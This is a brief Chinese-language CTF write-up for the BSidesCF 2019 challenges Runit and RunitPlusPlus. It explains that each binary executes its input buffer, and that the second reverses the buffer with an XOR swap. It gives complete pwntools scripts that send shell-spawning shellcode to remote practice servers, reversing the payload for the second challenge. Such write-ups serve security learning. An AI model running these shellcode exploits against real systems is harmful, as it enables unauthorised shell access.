[BSidesCF 2019]Runit
查看保护
IDA查看程序流
读入buf并执行,那么可以写入shellcode
完整ex
from pwn import *
context(log_level='debug')
#io=process("./runit")
io=remote("node3.buuoj.cn",28430)
io.recv()
payload=asm(shellcraft.sh())
io.send(payload)
io.interactive()
[BSidesCF 2019]RunitPlusPlus
查看程序保护
IDA打开查看程序流程
读入buf,最后再执行buf输入的内容
主体关键是中间的for循环,用了异或操作
可以假设buf[i]=a, buf[v8-i-1]=b, 那么对循环里面的操作进行转换有
a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b
即结果使得buf[i]= buf[v8-i-1], 那么对输入的shellcode进行逆转就行了。
完整的ex
from pwn import *
context(log_level='debug')
#io=process("./runitplusplus")
io=remote("node3.buuoj.cn",26920)
io.recv()
io.send(asm(shellcraft.sh())[::-1])
io.interactive()